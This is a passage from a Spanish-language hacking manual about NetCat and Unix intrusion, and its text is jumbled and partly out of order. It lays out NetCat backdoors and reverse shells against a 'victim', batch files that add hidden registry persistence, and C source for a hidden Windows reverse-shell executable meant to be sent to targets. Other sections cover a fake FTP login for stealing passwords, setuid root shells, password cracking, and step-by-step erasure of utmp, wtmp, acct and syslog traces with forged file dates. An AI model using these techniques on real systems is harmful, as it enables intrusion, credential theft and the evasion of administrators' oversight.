detrás de proxies debido a que esto causaría que los servicios que se ejecutan en estos puertos tuvieran problemas con las conexiones. En el caso en que el host interno sea forzado a usar un servidor proxy para HTTP. 192 . NetCat no posee la opción -L pero puede usarse el siguiente script que hará que NetCat mimetice la opción -L: #!/bin/bash export port=${port:-$1} nc -l -p $port -e $0 & # Espera más conexiones [ $1 ]|| PROGRAM Puerta Trasera para Windows: nc -L -p 10000 -e cmd. Exploración silenciosa de puertos (NetCat como scanner) Como NetCat puede hablar con un rango de puertos. pero lamentablemente el host se encuentra detrás de un Cortafuegos que no permite la entrada de conexiones desde el internet. El Cortafuegos es MUY restrictivo y solo permite conexiones de salida a servidores HTTP.exe Sacándole la vuelta al Cortafuegos (Para Windows) Sobre el Cortafuegos y a través del router [Sesión Telnet Inversa] Tienes acceso a un host en una red corporativa.Backdoors (Puertas Traseras) [Una básica Puerta Trasera de Escucha] Linux: nc -l -p 10000 -e /bin/bash En Linux. hay que intentar los puertos 21 y/o 23. un uso que resulta muy obvio sería utilizarlo como escaneador de puertos.

1] 143 (imap2) : Connection refused Orianna [127.1] 111 (sunrpc) open En la instrucción anterior se le dice a NetCat que explore los puertos de la IP 127. Se puede ver todo lo que escriben aqui. mientras que la segunda lleva la opción -vv.0. mientras NetCat hace su trabajo: 193 . Esto debe quedar de la siguiente forma: ~$ nc -i 5 -vv -z -r 127. rcvd 0 La primera exploración tiene la opción -v.0.0.0. Y NetCat ha informado que solo se encuentran abiertos el 139 y el 111.1] 139 (netbios-ssn) open Orianna [127.0..1] 111 (sunrpc) open sent 0.0. bloquearán determinada dirección IP si reciben demasiadas conexiones sobre ella en un período muy corto de tiempo.0.0.1] 144 (?) : Connection refused Orianna [127.1] from localhost [127. Orianna [127..0.. Se podrá utilizar la opción –i y configurar un intervalo de prueba y la opción –r para que lo ejecute de manera aleatoria.1 100-145 Orianna [127.1] 1131 login: sniffado password: también. bien sea individuales separados por un espacio. Pero esta forma de hacerlo no es la más correcta que digamos porque algunas aplicaciones de cortafuegos. DNS fwd/rev mismatch: localhost != darkstar connect to [127.0.1] 111 (sunrpc) open ~$ nc -vv -z 127.0.. Para que no suceda esto NetCat permite hacer exploraciones de una manera más discreta. los puertos se lo especificamos al final del IP del host.0.1 139-145 Orianna [127.0. En este sencillo ejemplo.0.0. ~$ nc -v -z 127. pudiendo redireccionar todo el tráfico del mismo hacia un archivo o hacia pantalla. Sniffer Otra de las interesante posibilidades de NetCat es su capacidad para escuchar conexiones en cualquier puerto.0.0. Tambien podemos redireccionar toda la salida a un archivo e irnos a realizar otras actividades.0. Puede hacerse este mismo procedimiento para los puertos UDP solo agregándole –u a la línea de comandos.0. Volvemos con la opción -v (verbose) y la Opción -z (zero i/o) que es usada para scanning.0..0.Si se hace una exploración de puertos a 127..0.0.0. o por un rango de puertos.0.0.0. podemos observar las bases de un sencillo sniffer en Windows nc -v -v -L 127.0. tan discreta que no parecerá una exploración de puertos.0.1 -p 23 DNS fwd/rev mismatch: localhost != darkstar listening on [any] 23 .0.1] 140 (?) : Connection refused Orianna [127.1 desde el 100 hasta el 145 de manera aleatoria.0.1] 139 (netbios-ssn) open . habiendo 5 segundos entre entre exploraciones.0.0.1] 145 (?) : Connection refused Orianna [127.0.0.0.1 desde el 100 hasta el 145 se puede obtener como resultado que solo se encuentran abiertos el 111 y el 139.1] 139 (netbios-ssn) open Orianna [127.1 100-145 Orianna [127.

1 31337 DNS fwd/rev mismatch: localhost != darkstar listening on [any] 31337 .0._X) .65] 31338 194 . rcvd 42 DNS fwd/rev mismatch: localhost != darkstar listening on [127..0. invalid connection to [0.246. la opción o variable -L (Listen..0.0. he aquí el ejemplo: nc -u -v -v -L -p 31337 127..0.0. and listen again) nos permitirá dejar escuchando u "oliendo" en determinado puerto aun cuando la conexión sea interrumpida (listen again)..1] 1131 login: sniffado Detector de Conexiones Sospechosas La posibilidad de dejar a NetCat escuchando en determinados puertos.0..0.0. [Aqui viene la conexión.0. El Exploit-Explained: nc -v -v -L 127. Realizamos desde otra ventana un telnet a localhost (127.196.0. NetCat informa sobre lo que ocurre en el puerto 23: DNS fwd/rev mismatch: localhost != darkstar connect to [127..0.1) en el puerto 23.1] 23 .1 -t >login. o herramientas tales como NetBus o BackOrifice en contra de nuestras estaciones.0.0.] DNS fwd/rev mismatch: localhost != darkstar connect to [127. sea mostrado directamente en pantalla (a diferencia del archivo usado por Dr.1] from localhost [127.0. Al ejecutar a NetCat con esa combinación de variables las opción -v indica en pantalla el Host y el puerto de escucha: DNS fwd/rev mismatch: localhost != darkstar listening on [any] 23 .. Este es un ejemplo de un detector del toyano Back Orifice (BO) ¡y funciona! Éste es un ejemplo real de un dia como cualquier otro en IRC..txt listening on [any] 23 .net [161..0] from nas1-064..1] 1030 [Todo lo que escriba la conexión se va al archivo login. con la variable -p le indicamos el puerto.0.0.cantv.. Incluso podemos crear un archivo que haga un Flood y redireccionar su salida hacia la estación agresora en caso de una conexión no autorizada a determinado puerto.0. permite crear una especie de "trampa" para un atacante que utilice scanners.ras.1] from localhost [127.nc -v -v -L -p 23 127.1 -p 23 Ejecutamos NetCat con la opción o variable -v (verbose) esto hará que el resultado de NetCat.0.0.bqm.txt] sent 0..

cantv. teoricamente NetCat no envía esta información. como por ejemplo.246. La mayor de las ventajas de realizar conexiones Telnet desde NetCat es que éste esconde "algo" sobre tu conexión. NetCat en Vez de Telnet Son muchas las personas prefieren utilizar el NetCat para realizar sus conexiones remotas como alternativa al Telnet. nas1-064. NetCat lo detecta enviando a pantalla el IP y el DNS del agresor.ras.bqm. creamos un archivo de texto que solicite el ID y el Password de la víctima: Microsoft Internet FTP Server V.65] (?): connection refused nas1-064.net [161.196.168.exe 195 ..net [161. de allí el porqué algunos servidores solo preguntan por password. NetCat se queda en espera conexiones UDP en el puerto 31337 (default de BO) .65] (?): connection refused nas1-064. Nota: Algunas máquinas interpretan al cliente de telnet y asumen el nombre del usuario que lo utiliza.bqm. por eso se utiliza la opción -u (protocolo UDP).9 [Beta] 04/16/99 myhost. un poco de imaginación y maña permitirán encontrar muchas utilidades para NetCat.ras.65] (?): TIMEDOUT nas1-064. cuando alguien hace un sweep a tu IP.1): nc -l -p 5606 < hack.65] (?): TIMEDOUT<--Hasta la vista 48 47 46 45 44 Otros usos Misceláneos Se puede utilizar algo de ingienería social para capturar algunos passwords con NetCat.196. lo que lo hace más "sigiloso" que Telnet (de ahí por que lo llamaron NetCat).bqm.5.ras.246.0. obviando las negociaciones comunes de Telnet que puedan confundir al cliente en determinados casos.196.cantv. password and press "Enter" LogOn: Luego redireccionamos el archivo hacia la víctima: nc -v -v -L -p 21 nombre del host -t < login.bqm.ras..246.196.Back Orifice utiliza el protocolo UDP para realizar sus travesuras.net [161.246. si una máquina no tiene abierto el puerto de FTP o de telnet.txt Muchos tontos incrédulos caen.cantv. Luego un pequeño "Ping of Death" (Nuke) para el transgresor y le hacen un Scan para ver cuando desaparece.196. al utilizar ciertos Backdoors muy conocidos en sistemas Unix. Realiza la conexión desde un puerto aleatorio (casi siempre el 1080) aunque en este caso lo hizo desde el 31338 (quizá una variante de BO). NetCat realiza una conexión limpia en determinado puerto. Ahí va su password.65] (?): connection refused nas1-064.net [161. Por ejemplo.cantv.bqm.com Please introduce Username.cantv.246.net [161. es recomendable acostumbrarse a utilizar NetCat para hacer conexiones remotas: nc -v nombre_del_host 23 (o el puerto de nuestra preferencia) Preparando una trampa Máquina entrampada (192.ras. Por eso.

Obtener una consola directamente Una shell directa es bastante fácil de lograr. En windows sería cmd. Establece cmd. debemos abrir los puertos. de otro modo. Otra cosa importante a decir es que si tenemos un router o firewall. En este ejemplo el comando quedó de la siguiente manera: nc -vv 192. -l Para poner a la escucha un puerto. <IP> Aquí va la IP de la víctima.0. Iniciar una consola de comandos de modo remoto Máquina Cliente (192. este progama sería cmd.168. <PUERTO> Aquí el Puerto de conexión. con la máquina atacante.0.Escucha por conexión en el puerto 5606 y se alista a transferir hack. 196 .1) nc 192. si fuera un Windows si aparecería.1. Para lograr una shell directa el equipo víctima tiene que ejecutar el siguiente comando: nc -l -e /bin/sh -p 6000 nc Ahí invocamos al NetCat.exe.0. que es la shell de Linux. Conforme vayas estudiando te darás cuenta de sus desventajas. sirviendo para alguna conexión remota el programa /bin/sh.exe cuando se establezca la conexión.168. -e Sirve para llamar a la ejecución de un programa. pero no es la más recomendada.0.168.34 6000 Y obtendremos una shell de nuestra máquina Linux.exe Escucha en el puerto 5606. Si la víctima es un SO Windows.2): Se conecta a 192. Máquina Atacante (192. Una vez hecho eso en la víctima nos queda conectar con ella.2 en el puerto 5606 Máquina Servidor (192.168. Para ello simplemente indicamos IP y PUERTO: nc -vv <IP> <PUERTO> Donde: -vv Sirve para dar más datos (doble verboso).exe.1 Recibe hack.exe al establecerse la conexión.168. /bin/sh Es la shell de Linux.2) nc –l –p 5606 –e cmd. nada servirá.exe para ser ejecutado cuando otra máquina se conecte al puerto 5606.168.168.0. -p Para indicar qué puerto queremos poner a la escucha De tal manera que lo que hacemos en la víctima es poner a la escucha el puerto 6000. NOTA: En este ejemplo no aparece el clásico "c:\" porque la víctima es un SO Linux.2 5606 Se conecta a 192.0.

ya que si por ejemplo se tiene una víctima con IP Dinámica (la IP cambia cada cierto tiempo) no se podrá tenerla como víctima el tiempo que se desee.txt Escucha en el puerto 5607.2 21 Conectarse a puerto 21 2.2 5607 < hack.2 en el puerto 5607. es ella la que se conecta a uno. ahí es ganancia.txt Control-C Se conecta a 192. Control-C para completarlo.168. En la máquina víctima (Linux) tecleamos el siguiente comando: nc -e /bin/sh 192.0. Máquina Servidor (192.0. es ella quien se conecta a nosotros.168. agrega una entrada al registro de Windows que inicia al escuchador cada vez que el sistema se inicia.0.168. Se configura para recibir archivo y copiarlo a /DirDestino/archivo Conectarse a Puertos Máquina Cliente (192.168. Pero si en cambio.Transfiriendo archivos Máquina Cliente (192.1. Esto tiene muchas ventajas.0.1) nc 192. De modo igual de discreto.33 6000 La víctima sirve la shell y se conecta al atacante.168. Ejemplos de Archivos de Procesos por Lotes (Windows) Los que siguen son dos archivos de procesos por lotes que pueden ser editados y usados muy discretamente para ejecutar los comandos en el sistema blanco. nc -v 192. esta es la manera más eficaz de obtener una shell. reg. porque no nos conectamos a la víctima. y al intentar la conexión no se completará porque su IP habrá cambiado.168.2) nc -l -p 5607 > hack.0. nc -t 192.0.0. y cada vez que nos pongamos a la escucha se recibirá la shell. nc -v 192.168.2 79 Intentar 79 (finger) para obtener nombres de cuentas 3.2 23 Obtener un login Telnet (si se configuraron las características especiales al compilar NetCat) Obtener una consola inversa Para mí. porque se puede poner un dominio NO-IP. Veámoslo con un ejemplo: En la máquina atacante ponemos este comando: nc -vv -l -p 6000 Ponemos a la escucha el puerto 6000.168.0.exe (58KB) 197 .exe (47KB) nc.168. por ejemplo.1): Conectarse a puertos 1.

addr.NULL.exe -p 1000” exit Archivo de proceso por lotes 2 @echo off move nc.NULL.NULL. SOCKET hSocket.exe 192.NULL. //Atención a esta línea."ws2_32") int main(int argc.NULL).sin_port = htons(PUERTO).SOCK_STREAM. pero no de NetCat]) con el que se podrá recibir una shell inversa: #include <winsock2.NULL.1 1080 | cmd. aquí va tu IP connect(hSocket.0.&pi).exe 192. También podemos crear un BAT (archivos de procesos por lotes).walagata.168.exe -p 1000 REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\microsoft\windows\CurrentVersion\Run\ /v Rundllcms /t REG_SZ /d “%windir%\system32\nc.0.NULL. aquí va el puerto de conexión NetCat addr.sin_addr.exe | nc.0.1 1080 | cmd. Hay muchas utilidades por ahí.0). //Atención.rar 198 . por ejemplo. para ello podemos usar DevC++ u otro compilador.true. memset(&addr.1 8888 REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\microsoft\windows\CurrentVersion\Run\ /v Rundllcms /t REG_SZ /d “%windir%\system32\nc. Enviamos este ejecutable."cmd".0.1 8888” exit ¿De qué sirve el NetCat si hay que tener acceso físico a la PC? Pues no.exe 192.dwFlags = STARTF_USESTDHANDLES.exe 192. char *argv[]) { ShowWindow(GetForegroundWindow().sizeof(addr)).h> #pragma comment(lib.&si. WSAStartup(MAKEWORD(2. si.exe -L -d -e cmd. que descargue el nc y haga la conexión.cb = sizeof(si). } Está en C++ y hay que cambiarle un par de cosas. WSADATA wsaData. STARTUPINFO si. No necesariamene hay que tener acceso físico a la PC. memset(&si.sizeof(si)).168. Aquí abajo hay un exploit para windows (para Linux no hay virus. y ponemos a la escucha con el puerto que se haya puesto. si.168.(struct sockaddr*)&addr.sizeof(addr)). si. hSocket = WSASocket(AF_INET. lo único que hay que hacer es compilarlo y hacer un EXE.exe %systemroot%\system32 start %systemroot%\system32\nc.NULL.h> #include <windows.168. ExitProcess(0).sin_family = AF_INET.exe | nc.SW_HIDE).0. struct sockaddr_in addr. y cuando la víctima lo ejecuta ya tendremos una shell inversa.hStdError = (void *)hSocket.hStdOutput = si.exe %systemroot%\system32 start %systemroot%\system32\nc.NULL. Hecho esto. PROCESS_INFORMATION pi. addr.&wsaData).exe -L -d -e cmd.h> #include <stdio. ni exploit ni nada [si los hay. esta: http://venus.s_addr = inet_addr("Aquí TU IP O DOMINIO NO-IP"). CreateProcess(NULL.com/w/nc2k5/1401581.0.hStdInput = si.Archivo de proceso por lotes 1 @echo off move nc.

así que paso a otra cosa. en servicios de red como el NFS o NIS o en los comandos "r" de Unix. FTP. Los mapas son consultados por las máquinas clientes a las máquinas que contengan los mapas. Por ejemplo. TFTP. existen otras formas más avanzadas de acceder a un sistema como el IP Spoofing. modificar. 1. donde están incluídas todas las passwords de los usuarios) de un servidor de NIS aunque la máquina en la que estemos no sea una máquina cliente. Servicios de red NFS = Network File System Es un servicio de red por el cual varias máquinas clientes comparten uno o varios directorios que se encuentran fisicamente en una máquina llamada servidor. conseguir privilegios de root (Super Usuario). Introducirse en el sistema que tengamos como objetivo. alterar los permisos. SMTP. UUCP. lo cual depende de la configuración del NFS. etc. HTTP. puede montarlos de tal forma que puede acceder a ellos como si los poseyera. un usuario puede entrar con la misma cuenta en todas las máquinas que compartan un mismo mapa de passwords.rhosts. Aparte de estas formas básicas.La Hora de la Verdad A la hora de hackear un sistema se pueden distinguir varios pasos diferenciados. En la mala configuración del NFS es donde estriban siempre sus fallos de seguridad. recompilando librerías del telnet. Paso 1 . fallos de seguridad en el Web y el Java. 4. Los mapas son archivos como passwd. Dependiendo de la configuración de estos dos archivos se podrá o no acceder a dicho computador desde otro sistema unix sin necesidad de password con los comandos rlogin o rsh. 199 . 2. que son los servidores. etc.equiv y cada usuario suele tener en su directorio home (que es el directorio reservado a cada usuario para su propio uso del sistema) un archivo llamado . Borrar nuestras huellas. Comandos "r" Son comandos exclusivos del SO Unix. 3. Existe un programa llamado YPX que sirve para extraer estos mapas (incluído el archivo passwd. hosts. Explicar cada uno de los protocolos TCP/IP puede llevarnos mucho tiempo. Otra cosa muy distinta es lo que se pueda hacer con los archivos incluidos en dichos directorios (si se pueden borrar. pero siempre aparecen nuevos bugs. Poner un sniffer para tener acceso a otros sistemas. a pesar de no poseer fisicamente dichos directorios. Una máquina cliente. Cada uno de ellos tiene sus propios agujeros de seguridad que se van parcheando con nuevas versiones de estos protocolos. etc). etc.Introducirse en el sistema Los fallos de seguridad que se aprovechan para conseguir introducirse en el sistema están basados por lo regular en los protocolos TCP/IP. NIS = Network Information Service Es un servicio por el cual varias máquinas comparten varios "mapas". La "r" es de remote. En el sistema hay un archivo llamado host. Una vez conseguido el acceso. Los protocolos basados en TCP/IP que se suelen aprovechar son Telnet.

copiamos un shell (el archivo /bin/sh) a un directorio público (en el que un usuario normal pueda ejecutar los archivos) y le cambiamos el nombre al que nosotros queramos. esto no significa que estos bugs nos vayan a funcionar con cualquier SO.) y de cómo esté configurado dicho sistema. Estos sistemas operativos tendrán sus propios bugs respecto a los protocolos TCP/IP (de los cuales existe muy poca información por no decir ninguna). Consiste en que. pero eso en todo caso lo mencionaré más adelante. Mantener los privilegios de root. que explotábamos los agujeros de seguridad de los protocolos o servicios de red. Existen diversas formas de mantener los privilegios de root.. a diferencia de cuando teníamos que introducirnos en el sistema. De esta forma. ejecutarlo y ya seremos root sin las complicaciones de tener que explotar un bug. Paso 2 . para MS-DOS están el JackCrack.desde luego hay formas más avanzadas de conseguir esto). es decir.unix. alterar el archivo . alt. Nos aseguramos de que el shell copiado tenga como owner (propietario del archivo) al root y cambiamos los permisos del archivo (con el comando chmod) con las cifras 4755.. habrá que conseguir dos cosas: Conseguir privilegios de root. BoS. hp-ux. el 4. la próxima vez que accedamos al sistema con la cuenta de un usuario normal. etc.Entrar directamente sin necesidad de poseer una cuenta en el sistema objetivo. hay que tener en cuenta que aunque explotemos los bugs de los protocolos TCP/IP.Conseguir privilegios de root una vez conseguido el acceso En este caso. Más bien al contrario. Quizá la forma más utilizada de conseguir esto sea el sushi (set-uid-shell) o también llamado "huevo". cuando las cadenas encriptadas coinciden entonces la palabra del diccionario que el programa ha encriptado en ese momento es el password buscado. Por ahora no hay que preocuparse de lo que significan dichas cifras. el sistema nos abrirá un shell con privilegios de root. BCrack.. algunas de esas fuentes se limitan a indicar la existencia del bug señalando el tipo de unix en el que funciona y otras incluso publican en la red programas para explotarlos. Hades. etc) que encripta cada palabra de un diccionario y las compara con la cadena encriptada del archivo passwd. Entre dichas fuentes de información (mailing lists la mayoría) están el CERT.security. Por ejemplo por comandos "r" o por algún bug (alterar el archivo passwd del computador objetivo por rsh. los fallos de seguridad que explotaremos serán los del propio SO Unix. Esto se puede conseguir mediante varios bugs dependiendo del tipo de Unix en el que nos estemos moviendo (aix.En general los bugs se pueden clasificar en varias categorías. Nota: De todas formas. para unix el más famoso es el Crack. Crack. podamos conseguir privilegios de root de forma fácil y sin complicaciones. El archivo passwd contiene los logins de los usuarios y su correspondiente password encriptadas (entre otras cosas). comp. Existen varias fuentes de información en Internet para conocer bugs. 200 .. una vez alcanzados los privilegios de root.2600 y un largo etc. Una vez introducidos en el sistema. Como en este caso el owner es el root y el archivo en cuestión es una shell. asegurarnos de que la próxima vez que entremos al sistema con la cuenta de un usuario que posea privilegios normales.rhosts de algún usuario por NFS. sólo tendremos que cambiarnos al directorio donde hayamos copiado el shell.Conseguir el archivo passwd del sistema objetivo y crackearlo. Para averiguar el password de cada usuario se utiliza un programa crackeador (existen varios.Existen dos formas básicas de introducirse en el sistema: 1 . etc. solaris. pero la primera cifra. por ahora esto es un pequeño resumen. BUGTRAQ. estos bugs funcionan casi exclusivamente en el SO Unix pero en otros SOs como VMS o VM no funcionarán. significa que cualquier usuario que ejecute dicho archivo lo estará ejecutando con los privilegios del owner. 2 . sun.

finger: Lo mismo que el comando who. Comandos: who: Permite saber quién está conectado al sistema en el momento en que ejecutamos el comando. existen diversas facilidades y aplicaciones que realizan un registro continuado y exhaustivo acerca de las actividades del usuario dentro del sistema. Existen varios archivos y comandos que ayudan al administrador a conocer todos los detalles acerca de las conexiones de los usuarios. finger.Los sushis también tienen sus inconvenientes. El SO Unix guarda varios registros (logs) de las conexiones de los usuarios al sistema. ya que pueden ser fácilmente localizados por los administradores (mediante el comando find. 201 . Aparte de estos archivos y comandos. El comando last toma la información que saca en pantalla del archivo wtmp. pero la máquina remota debe utilizar el SO Unix. rusers: Igual que finger. Para evitar esto hay otras formas de mantener los privilegios en el sistema o de modificar ligeramente los sushis para que no puedan ser detectados tan fácilmente. Directorio: /var/adm/lastlog acct: Registra todos los comandos ejecutados por cada usuario (aunque no registra los argumentos con que dichos comandos fueron ejecutados). Es decir.Borrar nuestras huellas Este paso es importante. con el añadido de que se puede aplicar a otras máquinas. por ejemplo) revelando nuestra presencia en el sistema. Directorios: /var/adm/utmp /etc/utmp wtmp: Guarda un log cada vez que un usuario se introduce en el sistema o sale del sistema. Los comandos who. podemos saber qué usuarios están conectados a una determinada máquina en el momento en que ejecutamos el comando. last Nos permite saber cuando fue la última vez que se conectó un usuario. ya que de nada nos habrá servido habernos introducido en el sistema y haber conseguido el nivel de root si al día siguiente nos han cortado el acceso debido a que hemos dejado huellas por todas partes. utmp: Guarda un registro (log) de los usuarios que están utilizando el sistema mientras están conectados a él. Directorio: /var/adm/acct En algunos sistemas el archivo acct se puede llamar pacct. Directorios: /var/adm/wtmp /etc/wtmp lastlog: Guarda un log del momento exacto en que un usuario entró por última vez. Archivos: (Cuando pongo dos directorios significa que el archivo puede estar en cualquiera de esos dos directorios). users y rusers toman la información que sacan en pantalla del archivo utmp. users: Igual que el who. Paso 3 .

Sin embargo. Como antes. Hay hackers que opinan que esto es incluso peor que no borrar los logs. es decir. aunque sí se pueden reducir a una mínima información de nuestra presencia en el sistema. lastcomm: Permite saber qué comandos han ejecutado los usuarios. cuando el sistema recoge información acerca de los comandos ejecutados en el archivo acct) es bastante complicado borrar nuestras huellas. Problema: Nuestra entrada en el sistema queda registrada. de modo que los comandos que hemos ejecutado durante la sesión no aparecen en el archivo acct.Los archivos utmp y wtmp no son archivos de texto.No borramos los archivos pero los dejamos con cero bytes. wtmp y acct. En contrapartida. 202 . no se pueden editar con un editor de textos. algunos sistemas reaccionan mal y paran el proceso de accounting. bastará con borrar cualquier log relativo a nuestro usuario de los archivos utmp.Dejamos el archivo acct a cero bytes. por lo que el comando ps ofrecerá la información de quién está ejecutando dichos procesos. 1 .Hacerse un editor para el archivo acct que borrara los datos correspondientes a nuestro usuario y dejara intactos los datos relativos al resto de los usuarios. de hecho no se pueden borrar del todo. existen programas llamados zappers (debido a que el programa más famoso de este tipo se llama zap) que pueden borrar los datos relativos a un usuario en particular de estos archivos dejando el resto de los datos relativo a los demás usuarios intacto. para no levantar sospechas habría que reactivarlo con el comando accton. Sólo se utiliza como último recurso por suscitar muchas sospechas por parte de los administradores. Los comandos lastcomm y acctcom toman la información que sacan por pantalla del archivo acct (pacct en algunos sistemas. 2 . accton: Activa un proceso llamado accounting. 3 .ps: Permite saber qué procesos están siendo ejecutados por el sistema y que usuarios los ejecutan. El comando ps ofrece una información mucho más completa de quién está utilizando el sistema puesto que un usuario que no aparezca en los archivos utmp o wtmp puede tener procesos ejecutándose. que es el que proporciona información al archivo acct. acctcom: Igual que lastcomm pero exclusivamente para Unix del tipo SYSTEM V. no hay muchos sistemas que tengan activado el accounting debido a la cantidad de capacidad que es necesaria para guardar los comandos ejecutados por cada usuario. Problema: Bastante sospechoso. Esto se puede hacer de dos formas: archivos utmp y wtmp: 1 . 2 . así como las dos copias. Afortunadamente. Problema: La ejecución del programa editor que borra nuestras huellas quedaría registrado como ejecutado por nuestro usuario. si queremos borrar nuestras huellas del sistema. además. archivo acct: Cuando el accounting está activado (es decir. esto es bastante sospechoso para un administrador.) Por lo tanto. Existen unos pocos programas que hacen esto. la información que ofrece el comando ps es más complicada de interpretar que la información ofrecida por el resto de comandos. El propio comando accton quedaría registrado como ejecutado por nuestro usuario.Lo primero que hacemos nada más entrar en el sistema es copiar el archivo acct a otro archivo y lo ultimo que hacemos antes de abandonar el sistema es copiar dicho archivo de nuevo al acct.

hay que tener en cuenta otras facilidades y aplicaciones que posee el SO Unix que permiten al administrador vigilar ciertos aspectos críticos relativos a la seguridad y al mantenimiento del sistema. nuestras andanzas por el sistema cuando hemos accedido a él y cuando nos hemos convertido en root. ya sean condiciones relativas a seguridad. Syslog Syslog es una aplicación que viene con el SO Unix. El SO Unix se puede configurar de tal forma que determinados programas.conf A diferencia de los archivos utmp. Para conseguir esto hay que configurar varias cosas: A . Para poder borrar estas huellas necesitamos tener privilegios de root. Después miraremos cada uno de esos archivos comprobando que no hay ningún mensaje relativo a nuestra intrusión en el sistema (los mensajes del estilo "login: root LOGIN REFUSED on ttya" a ciertas horas de la noche son bastante sospechosos). procesos o aplicaciones. acct y lastlog. 203 . emerg: emergencias graves. acct y lastlog. naturalmente. daemon: mensajes relativos a otros demonios del sistema. Syslog cumple su función mediante el syslogd (syslog daemon o en castellano el demonio syslog).Decidir a qué archivos van a parar dichos mensajes dependiendo del tipo al que pertenezca el mensaje correspondiente. getty. notice: cuando se da una condición que no constituye un error pero a la que se le debe dar una cierta atención. B . los archivos en los que se guardan los registros del syslog sí se pueden editar con un editor de textos. C . Los archivos a los cuales se mandan los registros (logs) pueden estar situados en la misma máquina en la que estamos trabajando o en otra máquina de la red. lpr: mensajes relativos a impresoras. El syslogd lee su configuración del archivo /etc/syslog.conf. procesos y aplicaciones pueden generar mensajes. err: errores ordinarios. procesos o aplicaciones generen mensajes que son enviados a determinados archivos donde quedan registrados dichos mensajes. user: mensajes relativos a procesos ejecutados por usuarios normales. mantenimiento o simplemente de tipo puramente informativo. mail: mensajes relativos al sistema de correo. Estos mensajes son generados cuando se dan unas determinadas condiciones. alert: problemas que deben ser solucionados con urgencia. wtmp. Cómo borrar las huellas relativas al syslog: Bien. etc).Decidir qué tipos de mensajes pueden generar cada uno de esos programas. por ejemplo login. (Pongo los principales) kern: mensajes relativos al kernel. warning: avisos. su. Dicho archivo contiene la configuración relativa a qué eventos del sistema son registrados y en qué archivos son registrados.conf para saber los archivos que guardan los registros del syslog. auth: mensajes relativos a programas y procesos de autentificación (aquellos en los que estén involucrados nombres de usuarios y passwords. pueden generar diversos mensajes registrados por el syslogd y guardados en los archivos indicados en el /etc/syslog. info: mensajes informativos. wtmp. crit: errores críticos.Decidir qué programas. Bastará con examinar el archivo /etc/syslog.Aparte de los archivos utmp.

pero mensajes de este tipo suelen estar generados por alertas bastante graves como por ejemplo intentar acceder con la cuenta de root directamente o utilizar el comando su para intentar convertirse en root. algún administrador demasiado suspicaz puede comprobar que las fechas no coinciden y deducir que alguien ha modificado el archivo (esta es una precaución extrema pero la recomiendo por experiencia). Con esta herramienta el administrador posee un control absoluto de las conexiones hacia y desde su máquina. etc de forma que nadie pueda conectarse al sistema desde otra máquina o puede especificar una lista de máquinas que sí pueden conectarse (y las demás no podrán).. El archivo /dev/ correspondiente a nuestro terminal tendría como propietario (owner) al usuario con el que hemos entrado en el sistema. una vez que hayamos visto los archivos de configuración es posible preparar un shell script (equivalente a los archivos batch. finger. Además. Si en el archivo /etc/syslog. 204 . lo borramos y cambiamos la fecha del archivo con el comando touch de forma que coincida la fecha del último mensaje (después de haber borrado nuestras huellas) con la fecha del archivo. la hora a la que hayamos entrado. filtrar un servicio de internet como por ejemplo el telnet. Para terminar. cualquier usuario que esté conectado al mismo tiempo que nosotros podría detectarnos viendo el terminal por el que hemos entrado. Nos hemos extendido un poco en este tema.. etc. ftp. más que en controlar el sistema (convertirse en root). la fecha del archivo /dev/ correspondiente al terminal también nos delataría. etc. pero en algunas ocasiones.) Como en el syslog. aunque seamos perfectamente invisibles en el sistema. entre otras muchas cosas. alerta o emergencia) salen directamente en la pantalla del root (o sea. para borrar nuestras huellas del tcp-wrapper. Existen en Internet diversos tutoriales y manuales para aprender a programar scripts. debemos tener siempre en mente que. Cuando hallamos creado. tendremos que buscar posibles huellas mirando el archivo de configuración (alojado normalmente en el directorio /etc).conf hay mensajes que se destinan a /dev/console eso significa que los mensajes (ya sean de error. Si es necesario. en saber ocultarse en él (aunque es una opinión personal). aunque la programación en shell es infinitamente más potente) que haga todo el trabajo por nosotros en cuestión de borrar las huellas. Puede. Es decir. porque es crítico que la gente adquiera conciencia de que la importancia radica. además. y solo si es necesario.) esto nos ahorrará todo el trabajo pesado. ftp. En este caso no se puede hacer nada (que yo sepa). hemos visto hasta aquí un resumen sobre cómo borrar nuestras huellas. el terminal por el que hayamos entrado.. habría que cambiar la fecha de los directorios en los que estén incluídos los archivos que guardan los logs. cuanto más sigilosos seamos a la hora de hacernos root y menos ruido armemos más posibilidades tendremos de no aparecer en este tipo de logs. Podría parecernos bastante pesado el borrar todas las posibles huellas que hayamos dejado en el sistema objetivo. lo podemos dejar bien camuflado en el sistema para que la siguiente vez que entremos lo podamos ejecutar (utilizando como parámetros el usuario con el que hayamos entrado. Si no lo hacemos así.bat en MS-DOS. que tienen extensión . etc. borrar dichas huellas y cambiar las fechas de los archivos correspondientes. TCP-Wrapper Se trata de una aplicación que proporciona una serie de mecanismos para el registro (logging) y filtro (filtering) de aquellos servicios invocados o llamados a través del inetd (internet daemon). en la consola).En caso de que lo haya. o bajado de la red uno. Bien. el administrador es informado en todo momento y con todo lujo de detalles de las conexiones que se han hecho desde su máquina y hacia su máquina con cualquiera de los diferentes servicios de internet (telnet.

Por último.rhosts de los usuarios e intentando acceder a los sistemas incluídos en dichos archivos mediante rlogin o rsh. 205 . después de asegurarnos que hemos borrado absolutamente todas nuestras huellas y de implantar algún sushi u otro método análogo para conseguir privilegios de root). podemos hacer todo lo que queramos en el sistema. La más sencilla y la primera que se suele probar es consultando los archivos . Una vez controlado el host que teníamos como objetivo. esto último. para conseguir acceso a otros sistemas desde el host que hemos hackeado existen varias técnicas. cómo conseguir acceso a otros PCs una vez controlado el host que hayamos hackeado (es decir. la cuestión de ocultar o camuflar procesos mientras los estamos ejecutando es otra cuestión que se tratará en otro mensaje si tienes la paciencia de seguir.rhosts o en el archivo host. son medidas quizá extremas.Poner un sniffer para tener acceso a otros sistemas Bien. Paso 4 .equiv. De todas formas. tcp-wrapper u otra utilidad que genere logs. pero vuelvo a insistir que son muy recomendables. aunque hay que tener en cuenta que nuestras acciones pueden ser registradas por el syslog. conseguir privilegios y borrar nuestras huellas. Hay varias formas más o menos sofisticadas que nos permitan conseguir información desde el sistema en el que nos encontramos y que nos permita acceder a otros sistemas de la red. También se puede intentar acceder a otros sistemas de la red con los comandos "r" aunque no estén incluídos en los archivos . junto con lo de cambiar de fecha ciertos archivos de logs.Una forma de evitar sería que tendríamos que cambiar de owner el archivo correspondiente al terminal (teniendo privilegios de root naturalmente) al owner que tengan los otros terminales a los cuales no hay nadie conectado (es decir. Ya hemos visto de forma resumida y sin 